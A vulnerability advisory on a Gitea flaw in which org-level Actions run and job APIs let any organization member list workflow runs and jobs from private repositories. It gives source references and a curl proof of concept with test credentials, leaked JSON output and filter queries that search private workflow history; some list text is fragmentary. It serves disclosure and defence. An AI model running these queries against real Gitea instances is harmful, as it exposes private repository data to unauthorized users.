Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs
Author: Prakhar Porwal
Date: 2026-05-24
Target: Gitea (self-hosted Git service)
Branch tested: main @ b7e95cc48c (development build, go1.26.3)
Component: routers/api/v1/org/action.go (org-level Actions API)
OWASP: API3:2023 Broken Object Property Level Authorization
The org-level Actions REST endpoints
GET /api/v1/orgs/{org}/actions/runs
GET /api/v1/orgs/{org}/actions/jobs
are gated only by reqOrgMembership() + reqToken(). They then call
shared.ListRuns(ctx, ctx.Org.Organization.ID, 0) /
shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil), which selects
every action_run / action_run_job row whose repository belongs to the
org — with no per-repository ACL check.
Result: any user who is a member of an organization can enumerate workflow runs and jobs from every repository in that org, including:
repo.actions
unit,Direct per-repo equivalents (GET /api/v1/repos/{owner}/{repo}/actions/runs,
…/jobs/{job_id}/logs, …/runs/{run_id}/jobs) correctly return 404 for the
same caller — proving the org-level surface is the only path that leaks.
routers/api/v1/api.go:1647-1652
addActionsRoutes(
m,
reqOrgMembership(), // reqReaderCheck
reqOrgOwnership(), // reqOwnerCheck
org.NewAction(),
)
routers/api/v1/api.go:908-941
m.Group("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns)
m.Get("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns)
m.Get("/jobs", reqToken(), reqReaderCheck, act.ListWorkflowJobs)
reqReaderCheck for org-scope = reqOrgMembership() — bare org membership is
enough; no per-repo permission is consulted.
routers/api/v1/org/action.go:595-683
func (Action) ListWorkflowJobs(ctx *context.APIContext) {
shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil)
}
func (Action) ListWorkflowRuns(ctx *context.APIContext) {
shared.ListRuns(ctx, ctx.Org.Organization.ID, 0)
}
routers/api/v1/shared/action.go:138-215
opts := actions_model.FindRunOptions{
OwnerID: ownerID, // ← org ID, NOT user ID
RepoID: repoID, // = 0 at org level
ListOptions: listOptions,
}
…
runs, total, err := db.FindAndCount[actions_model.ActionRun](ctx, opts)
models/actions/run_list.go:102-110
func (opts FindRunOptions) ToJoins() []db.JoinFunc {
if opts.OwnerID > 0 {
return []db.JoinFunc{func(sess db.Engine) error {
sess.Join("INNER", "repository",
"repository.id = repo_id AND repository.owner_id = ?", opts.OwnerID)
return nil
}}
}
return nil
}
The join only constrains repository.owner_id = orgID. There is no
access/team_repo/collaboration join and no
access_model.GetDoerRepoPermission(...) filter — every row in the org is
returned.
The same bug applies to shared.ListJobs, which calls
db.FindAndCount[actions_model.ActionRunJob](ctx, FindRunJobOptions{OwnerID: …})
using an analogous repository join.
1st-org with one private repo 1st-org-repo.Owners contains user admin (org owner).1st-team has zero repositories assigned (units permission
none for actions, no included repos).admin2 is a regular user (is_admin = false), member of
1st-team only — so org member, but no team grants any access to
1st-org-repo.Verified that admin2 lacks direct access:
$ curl -u admin2:admin@123 -w '[%{http_code}]\n' \
http://localhost:3001/api/v1/repos/1st-org/1st-org-repo
{"errors":null,"message":"not found","url":"…"}[404]
$ curl -u admin2:admin@123 -w '[%{http_code}]\n' \
http://localhost:3001/api/v1/orgs/1st-org/repos
[]
[200]
A workflow file was committed to 1st-org-repo/.gitea/workflows/ci.yml to
produce an action_run:
name: ci
on: push
jobs:
hello:
runs-on: ubuntu-latest
steps:
- run: echo "SECRET_INFO_FROM_PRIVATE_REPO"
$ curl -u admin2:admin@123 -w '\n[%{http_code}]\n' \
http://localhost:3001/api/v1/orgs/1st-org/actions/runs
Output (truncated)
{"workflow_runs":[{
"id":7,
"url":"http://localhost:3001/api/v1/repos/1st-org/1st-org-repo/actions/runs/7",
"html_url":"http://localhost:3001/1st-org/1st-org-repo/actions/runs/7",
"display_title":"add workflow",
"path":"ci.yml@refs/heads/main",
"event":"push",
"run_attempt":1,
"run_number":1,
"head_sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73",
"head_branch":"main",
"status":"queued",
"actor":{"id":1,"login":"admin", … "email":"1+admin@noreply.localhost", …},
"trigger_actor":{ … "login":"admin" … },
"repository":{
"id":4,"name":"1st-org-repo","full_name":"1st-org/1st-org-repo",
"description":"test123",
"private":true,
"clone_url":"http://localhost:3001/1st-org/1st-org-repo.git",
"ssh_url":"prakhar@localhost:1st-org/1st-org-repo.git",
…
}
}],"total_count":1}
[200]
Same primitive for jobs:
$ curl -u admin2:admin@123 -w '\n[%{http_code}]\n' \
http://localhost:3001/api/v1/orgs/1st-org/actions/jobs
{"jobs":[{
"id":7,
"run_id":7,
"name":"hello",
"labels":["ubuntu-latest"],
"head_sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73",
"head_branch":"main",
"status":"queued",
…
}],"total_count":1}
[200]
All query parameters supported by ListRuns/ListJobs work too — turning the
endpoint into a search oracle over private workflow metadata:
# Find runs on a specific branch in private repos:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?branch=main"
# Confirm a given commit SHA exists in any private repo of the org:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?head_sha=b7de30c2…"
# Filter by actor:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?actor=admin"
# Filter by event/status:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?event=push&status=failure"
All return matching rows from private repos in the org.
A low-privileged authenticated org member (no team, no repo permission, no admin) gains, for every private repository in the org:
| Field leaked | Why it matters |
|---|---|
repository.full_name, description, private, clone URLs | Existence + topology of private repos |
head_sha, head_branch | Confirms commits / branch names exist in private repos |
path (workflow file) | Reveals workflow YAML filenames |
event, display_title | Commit messages / event types |
actor, trigger_actor | Internal contributor identities incl. noreply emails |
created_at, started_at | Activity timing / CI cadence |
Pagination + ?head_sha=/?branch=/?actor= filters | Full search oracle over private workflow history |
Real-world consequences:
security/ vs infra/ teams), this surface flatly bypasses
that boundary.The same primitive is exposed regardless of token scope, as long as the token
has organization scope, the user is an org member, and the org has any
private repos with action runs.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 65.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 65.00 |
VPI 공식 vpi-v1 기준